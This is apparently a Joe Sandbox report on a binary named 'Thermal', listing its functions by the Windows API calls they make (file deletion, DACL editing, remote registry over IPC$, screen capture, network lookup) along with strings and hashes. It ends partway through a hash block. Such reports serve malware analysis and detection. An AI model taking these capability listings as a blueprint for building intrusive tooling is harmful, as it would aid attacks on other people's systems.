mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 0018AB08

Part of subcall function 00131821: _memmove.LIBCMT ref: 0013185B

Strings

set cd door , xrefs: 0018AAA9
open , xrefs: 0018AA6A
close, xrefs: 0018AA14
type cdaudio alias cd wait, xrefs: 0018AA86
close cd wait, xrefs: 0018AAF3
open, xrefs: 0018AA35
closed, xrefs: 0018AA22, 0018AA2B
wait, xrefs: 0018AAC5

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: SendString$BuffCharDriveLowerType__itow__swprintf_memmove
String ID: type cdaudio alias cd wait$ wait$close$close cd wait$closed$open$open $set cd door
API String ID: 2698844021-4113822522
Opcode ID: 477ace34baa7367019094408527662ae4dd6984b2bef9f82bea5606995b20386
Instruction ID: 9d2dccaf92725e0472ca8048f63a1c8b8ec3787b9ebbb403ecfee0b5b3633cf6
Opcode Fuzzy Hash: 477ace34baa7367019094408527662ae4dd6984b2bef9f82bea5606995b20386
Instruction Fuzzy Hash: 5A515A71104205AFD700EF50C98196AB7F4FFA8758F50896EF896972A1DB31EE09CF92

Function 0018A832 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 102fileCOMMON

Download Yara Rule

APIs

GetFullPathNameW.KERNEL32(?,00007FFF,?,?), ref: 0018A852
__swprintf.LIBCMT ref: 0018A874
CreateDirectoryW.KERNEL32(?,00000000), ref: 0018A8B1
CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000003,02200000,00000000), ref: 0018A8D6
_memset.LIBCMT ref: 0018A8F5
_wcsncpy.LIBCMT ref: 0018A931
DeviceIoControl.KERNEL32(00000000,000900A4,?,?,00000000,00000000,?,00000000), ref: 0018A966
CloseHandle.KERNEL32(00000000), ref: 0018A971
RemoveDirectoryW.KERNEL32(?), ref: 0018A97A
CloseHandle.KERNEL32(00000000), ref: 0018A984

Strings

:, xrefs: 0018A895
\??\%s, xrefs: 0018A86E
\, xrefs: 0018A88A

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: CloseCreateDirectoryHandle$ControlDeviceFileFullNamePathRemove__swprintf_memset_wcsncpy
String ID: :$\$\??\%s
API String ID: 2733774712-3457252023
Opcode ID: ba0b9b195f511d25984a13fd7c122baf2f30572e03668449c5f89d901c2aa7ee
Instruction ID: 2ec502c01e0df626dbb941b9c886568fd79970b5fe60ff4618c59b86baf0cc15
Opcode Fuzzy Hash: ba0b9b195f511d25984a13fd7c122baf2f30572e03668449c5f89d901c2aa7ee
Instruction Fuzzy Hash: B331AF7190421AABEB219FA0DC49FEB77BCEF89700F5041A6F909D6160EB7097858F25

Function 001AC0A5 Relevance: 22.6, APIs: 15, Instructions: 130filecommemoryCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(00000000,80000000,00000000,00000000,00000003,00000000,00000000,00000000,?,?,?,?,?,001A982C,?,?), ref: 001AC0C8
GetFileSize.KERNEL32(00000000,00000000,?,?,?,?,001A982C,?,?,00000000,?), ref: 001AC0DF
GlobalAlloc.KERNEL32(00000002,00000000,?,?,?,?,001A982C,?,?,00000000,?), ref: 001AC0EA
CloseHandle.KERNEL32(00000000,?,?,?,?,001A982C,?,?,00000000,?), ref: 001AC0F7
GlobalLock.KERNEL32(00000000), ref: 001AC100
ReadFile.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,?,?,?,001A982C,?,?,00000000,?), ref: 001AC10F
GlobalUnlock.KERNEL32(00000000), ref: 001AC118
CloseHandle.KERNEL32(00000000,?,?,?,?,001A982C,?,?,00000000,?), ref: 001AC11F
CreateStreamOnHGlobal.OLE32(00000000,00000001,?,?,?,?,?,001A982C,?,?,00000000,?), ref: 001AC130
OleLoadPicture.OLEAUT32(?,00000000,00000000,001B3C7C,?), ref: 001AC149
GlobalFree.KERNEL32(00000000), ref: 001AC159
GetObjectW.GDI32(00000000,00000018,?), ref: 001AC17D
CopyImage.USER32(00000000,00000000,?,?,00002000), ref: 001AC1A8
DeleteObject.GDI32(00000000), ref: 001AC1D0
SendMessageW.USER32(?,00000172,00000000,00000000), ref: 001AC1E6

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: Global$File$CloseCreateHandleObject$AllocCopyDeleteFreeImageLoadLockMessagePictureReadSendSizeStreamUnlock
String ID:
API String ID: 3840717409-0
Opcode ID: 848dee3abfe49fb771ab041ee13395dcb15913ca733ab01601f29728af95bd25
Instruction ID: cc00a898fa68c85ac288cf619590ddf684689b4df714166639bcb34dabeacd71
Opcode Fuzzy Hash: 848dee3abfe49fb771ab041ee13395dcb15913ca733ab01601f29728af95bd25
Instruction Fuzzy Hash: 85412979600208EFDB229F65DC88EAF7BB8EF8A711F104159F905E7260DB319D81DB60

Function 001AC854 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 229windowCOMMON

Download Yara Rule

APIs

Part of subcall function 001229E2: GetWindowLongW.USER32(?,000000EB), ref: 001229F3

PostMessageW.USER32(?,00000111,00000000,00000000), ref: 001AC8A4
GetFocus.USER32 ref: 001AC8B4
GetDlgCtrlID.USER32(00000000), ref: 001AC8BF
_memset.LIBCMT ref: 001AC9EA
GetMenuItemInfoW.USER32(?,00000000,00000000,?), ref: 001ACA15
GetMenuItemCount.USER32(?), ref: 001ACA35
GetMenuItemID.USER32(?,00000000), ref: 001ACA48
GetMenuItemInfoW.USER32(?,-00000001,00000001,?), ref: 001ACA7C
GetMenuItemInfoW.USER32(?,?,00000001,?), ref: 001ACAC4
CheckMenuRadioItem.USER32(?,00000000,?,00000000,00000400), ref: 001ACAFC
DefDlgProcW.USER32(?,00000111,?,?,?,?,?,?,?), ref: 001ACB31

Strings

0, xrefs: 001AC9E2

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: ItemMenu$Info$CheckCountCtrlFocusLongMessagePostProcRadioWindow_memset
String ID: 0
API String ID: 1296962147-4108050209
Opcode ID: 86b3f1a5e02d199c48dce620433c06f3e7e0427f17f845a83aa4b02bd19d3cb1
Instruction ID: 9d91df65ad6927c00aca7ab730ea535b6daef885fa5657453066645fd5984bb0
Opcode Fuzzy Hash: 86b3f1a5e02d199c48dce620433c06f3e7e0427f17f845a83aa4b02bd19d3cb1
Instruction Fuzzy Hash: 2981BF78608305AFD721CF14D885EABBBE8FF8A354F00492DF98597291D731D945CBA2

Function 00178ACA Relevance: 21.2, APIs: 14, Instructions: 179memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00178E20: GetUserObjectSecurity.USER32(?,00000004,?,00000000,?), ref: 00178E3C
Part of subcall function 00178E20: GetLastError.KERNEL32(?,00178900,?,?,?), ref: 00178E46
Part of subcall function 00178E20: GetProcessHeap.KERNEL32(00000008,?,?,00178900,?,?,?), ref: 00178E55
Part of subcall function 00178E20: HeapAlloc.KERNEL32(00000000,?,00178900,?,?,?), ref: 00178E5C
Part of subcall function 00178E20: GetUserObjectSecurity.USER32(?,00000004,00000000,?,?), ref: 00178E73

Part of subcall function 00178EBD: GetProcessHeap.KERNEL32(00000008,00178916,00000000,00000000,?,00178916,?), ref: 00178EC9
Part of subcall function 00178EBD: HeapAlloc.KERNEL32(00000000,?,00178916,?), ref: 00178ED0
Part of subcall function 00178EBD: InitializeSecurityDescriptor.ADVAPI32(00000000,00000001,?,00178916,?), ref: 00178EE1

GetSecurityDescriptorDacl.ADVAPI32(?,?,?,?), ref: 00178B2E
_memset.LIBCMT ref: 00178B43
GetAclInformation.ADVAPI32(?,?,0000000C,00000002), ref: 00178B62
GetLengthSid.ADVAPI32(?), ref: 00178B73
GetAce.ADVAPI32(?,00000000,?), ref: 00178BB0
AddAce.ADVAPI32(?,00000002,000000FF,?,?), ref: 00178BCC
GetLengthSid.ADVAPI32(?), ref: 00178BE9
GetProcessHeap.KERNEL32(00000008,-00000008), ref: 00178BF8
HeapAlloc.KERNEL32(00000000), ref: 00178BFF
GetLengthSid.ADVAPI32(?,00000008,?), ref: 00178C20
CopySid.ADVAPI32(00000000), ref: 00178C27
AddAce.ADVAPI32(?,00000002,000000FF,00000000,?), ref: 00178C58
SetSecurityDescriptorDacl.ADVAPI32(?,00000001,?,00000000), ref: 00178C7E
SetUserObjectSecurity.USER32(?,00000004,?), ref: 00178C92

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: HeapSecurity$AllocDescriptorLengthObjectProcessUser$Dacl$CopyErrorInformationInitializeLast_memset
String ID:
API String ID: 3996160137-0
Opcode ID: 680de41fa1df044c69323d708d5a117354e8bea419b87a65ba9e7e71e5b9ea98
Instruction ID: e064888d4c06f9098c569d2fddff8212bcd464eef7d41b55c4e5750caf1a47cb
Opcode Fuzzy Hash: 680de41fa1df044c69323d708d5a117354e8bea419b87a65ba9e7e71e5b9ea98
Instruction Fuzzy Hash: 10615A71940209AFDF12DFA4DC49EEEBB79FF18300F048269F919A7290DB359A45CB60

Function 00197A04 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 160windowCOMMON

Download Yara Rule

APIs

GetDC.USER32(00000000), ref: 00197A79
CreateCompatibleBitmap.GDI32(00000000,00000007,?), ref: 00197A85
CreateCompatibleDC.GDI32(?), ref: 00197A91
SelectObject.GDI32(00000000,?), ref: 00197A9E
StretchBlt.GDI32(00000006,00000000,00000000,00000007,?,?,?,?,00000007,?,00CC0020), ref: 00197AF2
GetDIBits.GDI32(00000006,?,00000000,00000000,00000000,00000028,00000000), ref: 00197B2E
GetDIBits.GDI32(00000006,?,00000000,?,00000000,00000028,00000000), ref: 00197B52
SelectObject.GDI32(00000006,?), ref: 00197B5A
DeleteObject.GDI32(?), ref: 00197B63
DeleteDC.GDI32(00000006), ref: 00197B6A
ReleaseDC.USER32(00000000,?), ref: 00197B75

Strings

(, xrefs: 00197AFA

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: Object$BitsCompatibleCreateDeleteSelect$BitmapReleaseStretch
String ID: (
API String ID: 2598888154-3887548279
Opcode ID: 1a1d5eba04349e57df95896fa8ac8cd6d871056ea84d0cf8c4beb6e2bbd531d2
Instruction ID: 18da9d68fc09f8aaf1c463cc256bfef8ef96f6ad262e6a3da5b453c444e3c461
Opcode Fuzzy Hash: 1a1d5eba04349e57df95896fa8ac8cd6d871056ea84d0cf8c4beb6e2bbd531d2
Instruction Fuzzy Hash: DC513771A04209EFCB15DFA8CC85EAFBBB9EF48750F18851DF94AA7250D731AD418B60

Function 0018A48D Relevance: 21.2, APIs: 7, Strings: 5, Instructions: 156COMMON

Download Yara Rule

APIs

LoadStringW.USER32(00000066,?,00000FFF,?), ref: 0018A4D4

Part of subcall function 00131A36: _memmove.LIBCMT ref: 00131A77

LoadStringW.USER32(?,?,00000FFF,?), ref: 0018A4F6
__swprintf.LIBCMT ref: 0018A54F
__swprintf.LIBCMT ref: 0018A568
_wprintf.LIBCMT ref: 0018A61E
_wprintf.LIBCMT ref: 0018A63C

Strings

Line %d (File "%s"):, xrefs: 0018A549, 0018A562
"%s" (%d) : ==> %s:, xrefs: 0018A637
^ ERROR, xrefs: 0018A5C0
Error: , xrefs: 0018A5E6
"%s" (%d) : ==> %s:%s%s, xrefs: 0018A619

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: LoadString__swprintf_wprintf$_memmove
String ID: Error: $"%s" (%d) : ==> %s:$"%s" (%d) : ==> %s:%s%s$Line %d (File "%s"):$^ ERROR
API String ID: 311963372-2391861430
Opcode ID: 9e906ce9f15f42111af160686c625818126419b6a13f434042d333f98801c184
Instruction ID: df2bd5f9dace8ef98bf83e6ad184d8a2dc9879232ea20260f970ff07bdeccee4
Opcode Fuzzy Hash: 9e906ce9f15f42111af160686c625818126419b6a13f434042d333f98801c184
Instruction Fuzzy Hash: C7515D71800109BBDF15EBE0CD86EEEB779AF28340F644166F505A21A1EB316F98DF61

Function 00189710 Relevance: 19.8, APIs: 13, Instructions: 322fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0018951A: __time64.LIBCMT ref: 00189524

Part of subcall function 00134A8C: _fseek.LIBCMT ref: 00134AA4

__wsplitpath.LIBCMT ref: 001897EF

Part of subcall function 0014431E: __wsplitpath_helper.LIBCMT ref: 0014435E

_wcscpy.LIBCMT ref: 00189802
_wcscat.LIBCMT ref: 00189815
__wsplitpath.LIBCMT ref: 0018983A
_wcscat.LIBCMT ref: 00189850
_wcscat.LIBCMT ref: 00189863

Part of subcall function 00189560: _memmove.LIBCMT ref: 00189599
Part of subcall function 00189560: _memmove.LIBCMT ref: 001895A8

_wcscmp.LIBCMT ref: 001897AA

Part of subcall function 00189CF1: _wcscmp.LIBCMT ref: 00189DE1
Part of subcall function 00189CF1: _wcscmp.LIBCMT ref: 00189DF4

DeleteFileW.KERNEL32(?,?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001,?,?), ref: 00189A0D
_wcsncpy.LIBCMT ref: 00189A80
DeleteFileW.KERNEL32(?,?), ref: 00189AB6
CopyFileW.KERNEL32(?,?,00000000,?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001), ref: 00189ACC
DeleteFileW.KERNEL32(?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004), ref: 00189ADD
DeleteFileW.KERNEL32(?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004), ref: 00189AEF

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: File$Delete$_wcscat_wcscmp$__wsplitpath_memmove$Copy__time64__wsplitpath_helper_fseek_wcscpy_wcsncpy
String ID:
API String ID: 1500180987-0
Opcode ID: 0c03f3d00d0d9d23fa630349127d2086242f7bda5df3a340d6f3717c47330f18
Instruction ID: 440bf36f067821dece40c674885b99d0697485e16b0dc6e9cdf50ae9f7b9a564
Opcode Fuzzy Hash: 0c03f3d00d0d9d23fa630349127d2086242f7bda5df3a340d6f3717c47330f18
Instruction Fuzzy Hash: 4FC13CB1D00219ABDF15EF95CC85AEEBBBDEF54300F0440AAF609E7151EB709A848F65

Function 00135BD7 Relevance: 19.7, APIs: 13, Instructions: 215windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00135BF1
GetMenuItemCount.USER32(001E7890), ref: 00170E7B
GetMenuItemCount.USER32(001E7890), ref: 00170F2B
GetCursorPos.USER32(?), ref: 00170F6F
SetForegroundWindow.USER32(00000000), ref: 00170F78
TrackPopupMenuEx.USER32(001E7890,00000000,?,00000000,00000000,00000000), ref: 00170F8B
PostMessageW.USER32(00000000,00000000,00000000,00000000), ref: 00170F97

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: Menu$CountItem$CursorForegroundMessagePopupPostTrackWindow_memset
String ID:
API String ID: 2751501086-0
Opcode ID: 4d05f049aff5cd9bec9bfd16e954bb03f6016781f80e8f26188e16d6c9afc5be
Instruction ID: 281159c1e247f4369dba95a8e03f0825054a2eb93a0cfa2a4ed3092fb538ab67
Opcode Fuzzy Hash: 4d05f049aff5cd9bec9bfd16e954bb03f6016781f80e8f26188e16d6c9afc5be
Instruction Fuzzy Hash: 4A71E270644715FFEB369B54CC85FAABF69FF08768F104216F618AA1D0CBB16850DB90

Function 001783FA Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 128registryshareCOMMON

Download Yara Rule

APIs

Part of subcall function 00131821: _memmove.LIBCMT ref: 0013185B

_memset.LIBCMT ref: 00178489
WNetAddConnection2W.MPR(?,?,?,00000000), ref: 001784BE
RegConnectRegistryW.ADVAPI32(?,80000002,?), ref: 001784DA
RegOpenKeyExW.ADVAPI32(?,?,00000000,00020019,?,?,SOFTWARE\Classes\), ref: 001784F6
RegQueryValueExW.ADVAPI32(?,00000000,00000000,00000000,?,?,?,SOFTWARE\Classes\), ref: 00178520
CLSIDFromString.OLE32(?,?,?,SOFTWARE\Classes\), ref: 00178548
RegCloseKey.ADVAPI32(?,?,SOFTWARE\Classes\), ref: 00178553
RegCloseKey.ADVAPI32(?,?,SOFTWARE\Classes\), ref: 00178558

Strings

SOFTWARE\Classes\, xrefs: 0017842A
\IPC$, xrefs: 001784A0
\CLSID, xrefs: 00178440

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: Close$ConnectConnection2FromOpenQueryRegistryStringValue_memmove_memset
String ID: SOFTWARE\Classes\$\CLSID$\IPC$
API String ID: 1411258926-22481851
Opcode ID: 7e67f0822c93aca17221a7a9ca96ab4e47af3fa2dc73d18a301e8ee8cb3187e9
Instruction ID: 49d96755062d1f7bf2b0ea9c41ed781b318cc0b79e89408507c1c3c7bf6d691d
Opcode Fuzzy Hash: 7e67f0822c93aca17221a7a9ca96ab4e47af3fa2dc73d18a301e8ee8cb3187e9
Instruction Fuzzy Hash: 7141E572C5022DABCF11EBA4DC95AEEB779BF18340F044569F815A2261EB309E44CB90

Function 001A147A Relevance: 19.4, APIs: 1, Strings: 10, Instructions: 120COMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?,?,?,?,?,?,001A040D,?,?), ref: 001A1491

Strings

HKEY_CURRENT_CONFIG, xrefs: 001A154E
HKEY_LOCAL_MACHINE, xrefs: 001A14FA
HKEY_CURRENT_USER, xrefs: 001A1570
HKEY_CLASSES_ROOT, xrefs: 001A1524
HKCC, xrefs: 001A155F
HKU, xrefs: 001A15A3
HKCR, xrefs: 001A1539
HKCU, xrefs: 001A1581
HKEY_USERS, xrefs: 001A1592
HKLM, xrefs: 001A150F

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: BuffCharUpper
String ID: HKCC$HKCR$HKCU$HKEY_CLASSES_ROOT$HKEY_CURRENT_CONFIG$HKEY_CURRENT_USER$HKEY_LOCAL_MACHINE$HKEY_USERS$HKLM$HKU
API String ID: 3964851224-909552448
Opcode ID: 4228fe0a5374228368182349e5cd3a234aa6be12dacf2ab9e30f95bc92179722
Instruction ID: 29631796543a8047b89e561f7e56b094cb0cdd52a562f515cb74c0a6178182d2
Opcode Fuzzy Hash: 4228fe0a5374228368182349e5cd3a234aa6be12dacf2ab9e30f95bc92179722
Instruction Fuzzy Hash: C5415D7890025AEBDF05EF94D951AEA3724BF67310F604915FC525B2A2DB30ED19CBA0

Function 00185882 Relevance: 19.3, APIs: 5, Strings: 6, Instructions: 74COMMON

Download Yara Rule

APIs

Part of subcall function 00131821: _memmove.LIBCMT ref: 0013185B

Part of subcall function 0013153B: _memmove.LIBCMT ref: 001315C4

mciSendStringW.WINMM(status PlayMe mode,?,00000100,00000000), ref: 001858EB
mciSendStringW.WINMM(close PlayMe,00000000,00000000,00000000), ref: 00185901
mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 00185912
mciSendStringW.WINMM(play PlayMe wait,00000000,00000000,00000000), ref: 00185924
mciSendStringW.WINMM(play PlayMe,00000000,00000000,00000000), ref: 00185935

Strings

play PlayMe, xrefs: 00185930
alias PlayMe, xrefs: 001858C4
close PlayMe, xrefs: 001858FC, 00185929
play PlayMe wait, xrefs: 0018591F
open , xrefs: 0018589A
status PlayMe mode, xrefs: 001858E6

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: SendString$_memmove
String ID: alias PlayMe$close PlayMe$open $play PlayMe$play PlayMe wait$status PlayMe mode
API String ID: 2279737902-1007645807
Opcode ID: ae48c8711806ce10410c55feb9aea9892fb0aadb746c944b924731b57d6f2195
Instruction ID: 84f55e7a82bd4937200666bd1c743b665b56b7733440d761ced4c9420ea22361
Opcode Fuzzy Hash: ae48c8711806ce10410c55feb9aea9892fb0aadb746c944b924731b57d6f2195
Instruction Fuzzy Hash: 6B119431950129F9D720B7A5DC9AEFF7B7CFBE1B54F41082AB402A21D1DF605E04CAA0

Function 00184C0C Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 73networkCOMMON

Download Yara Rule

APIs

WSAStartup.WSOCK32(00000101,?), ref: 00184C27
gethostname.WSOCK32(?,00000100), ref: 00184C41
gethostbyname.WSOCK32(?), ref: 00184C4E
_wcscpy.LIBCMT ref: 00184C76
_memmove.LIBCMT ref: 00184C89
inet_ntoa.WSOCK32(?), ref: 00184C94
_strcat.LIBCMT ref: 00184CA2
_wcscpy.LIBCMT ref: 00184CB9
WSACleanup.WSOCK32 ref: 00184CC7
_wcscpy.LIBCMT ref: 00184CD5

Strings

0.0.0.0, xrefs: 00184C70

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: _wcscpy$CleanupStartup_memmove_strcatgethostbynamegethostnameinet_ntoa
String ID: 0.0.0.0
API String ID: 208665112-3771769585
Opcode ID: e06d7da639ee0dbaa05bd4e944bd7325414a284f68d701fe85d809d47c03121e
Instruction ID: d2013e4dac9b8b775bdead7b06774e46ee2f4f5298d906b379dca6c1f523f07e
